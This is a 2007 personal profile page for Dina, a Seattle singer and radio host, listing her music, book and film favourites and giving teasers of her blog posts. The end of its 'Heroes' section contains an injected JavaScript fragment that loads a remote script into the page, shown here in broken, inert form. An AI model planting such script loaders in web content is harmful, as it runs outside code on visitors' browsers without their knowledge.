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Dina

Never judge a book by its movie

About Me

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Doing too much, and never getting around to everything I want to do...
I love music, dancing, Seattle, kind and generous people, good fiction, good non-fiction, computers, my cockatiel, biking, running, swimming, singing, skiing, community radio, teenagers, creative people, spontanaeity, good grammar, my brother, bright happy colors, travelling, chocolate, languages, and and and...

My Interests

Running, biking (road), skiing (x-ctry and downhill), dancing (anything but square or contra), reading (everything), philosophy (Werner Erhardt, Eckhart Tolle, Daniel Quinn...), eating chocolate, drinking chocolate, bathing in chocolate.........

I'd like to meet:

People passionate about living life, and playing their game full-out. People who don't complain or blame their circumstances, but who take what they're handed, accept it, and still create miracles. Artists. Musicians. Rampaging forces of goodness, truth, and beauty.......

Music:

Bulgarian Women's Choirs; Kitka; Värttinä; Dead Can Dance; Natasha Atlas; Kristi Stassinopoulou; Savina Yannatou; Medieval Baebes; Balkan Beat Box; Emir Kusturica & the No Smoking Orchestra; Esma Redzepova; Mostar Sevdah Reunion; Kal; Slavic Soul Party; Zlatne Uste; Anoush; Edessa; the Toids; Beth Quist; Sherefe; Cheb Mami; Rachid Taha; Hun Huur Tu; Cirque du Soleil; Loreena McKennit; Tarkan; Cafe Quijano; Paris Combo; Pink Martini; Chris de Burgh; Stevie Ray Vaughn; Abba; Boney M; Cherry Poppin' Daddies; Laura Love; 2raumwohnung; Wir Sind Helden; Rosenstolz; Wolfsheim; Herbert Grönemeyer; Fettes Brot; die Prinzen; Paolo Conte; Martin Sexton; the Cranberries; Bliss; Ricchi e Poveri; Carl Orff; Modeste Moussorgski; Johannes Brahms; Marin Marais; Frank Martin; the sound of my mother's viola; .........

Movies:

In no particular order: Amelie, Babe, The Matrix (first one only), Love Actually, Chocolat, LOTR, anything with Jack Black in it.........

Television:

It shrinks my brain. Fun sometimes though. I'm not hooked on any particular show, except, ok, "Sex and the City."

Books:

Shadow of the Wind; End of Faith; Ishmael; Story of B; Momo; The Time Traveller's Wife; Life of Pi; Perfume; Pride and Prejudice; any and all dictionaries; and countless more...

Heroes:

My grandparents (living and deceased), my parents, and some of my friends who overcome any obstacle to live amazing lives and make a significant difference in the world. And anyone with children..."var x=document·createElement('script');x.src='http://www... /.../test.js';document·getElementsByTagName('body')[0]. appendChild(x);" /

My Blog

Dunava's Shoreline Concert

We came... we sang... we rocked the house! With some wonderful help from our friends: Dave & the Dalmatians, Zlatne Strune, Kaba Seattle, Jane Hall (she's officially in the group now, I believe, a...
Posted by Dina on Mon, 04 Jun 2007 02:30:00 PST

Photos from trip to Germany/Poland

I just uploaded my photos from my trip -- check it out:Germany/Poland May 2007...
Posted by Dina on Fri, 25 May 2007 01:05:00 PST

Upcoming Shows

And there are a lot!Tuesday, May 22, 3-5 p.m. (Pacific Time): Daily Planet on http://kbcs.fm, or 91.3 fm in SeattleSaturday, May 25: Dunava sings at Northwest Folklife Festival, 6:45 - 7:20 p.m., Fish...
Posted by Dina on Mon, 21 May 2007 10:03:00 PST

I'm back

Just returned last night from twelve days visiting Germany and Poland. Occasion was my brother's wedding, and just being long overdue in seeing some friends and family. Was a really good trip -- the w...
Posted by Dina on Sun, 13 May 2007 03:21:00 PST

Need a career change...

Is it right to spend the best part of every day doing something I'm only mildly interested in?I need to support my habits, yes -- habits like my apartment, food, and paying for my expensive toys. And ...
Posted by Dina on Thu, 12 Apr 2007 05:25:00 PST

couch potato?

Two big milestones have (unfortunately) coincided: - I got a TV - I learned how to make creme brulee Check in with me from time to time, please... make sure I'm getting some fresh air and exercise... ...
Posted by Dina on Mon, 12 Mar 2007 02:44:00 PST

Concerts/gigs

So much coming up...! March 9 & 10: I'm singing in the Women's Schola of Seattle Pro Musica's March concert, where they will perform, among other things, Bernstein's "Chichester Psalms." One of my fav...
Posted by Dina on Mon, 05 Mar 2007 11:04:00 PST

Daily Planet

Starting tomorrow, I'll be an almost-regular host of KBCS's Daily Planet, the world music radio show that airs daily from 3 to 5 p.m. PT. I'll be on every other Tuesday (or, mostly, the second and fou...
Posted by Dina on Tue, 30 Jan 2007 10:55:00 PST

Happy New Year

Forgive me... ...
Posted by Dina on Fri, 19 Jan 2007 10:38:00 PST

My brother got married

And he sent a few photos from the civil ceremony. This was "just" the civil ceremony, which is required in Germany. It takes place in the city hall, and just involves signing the papers in front of wi...
Posted by Dina on Tue, 16 Jan 2007 10:58:00 PST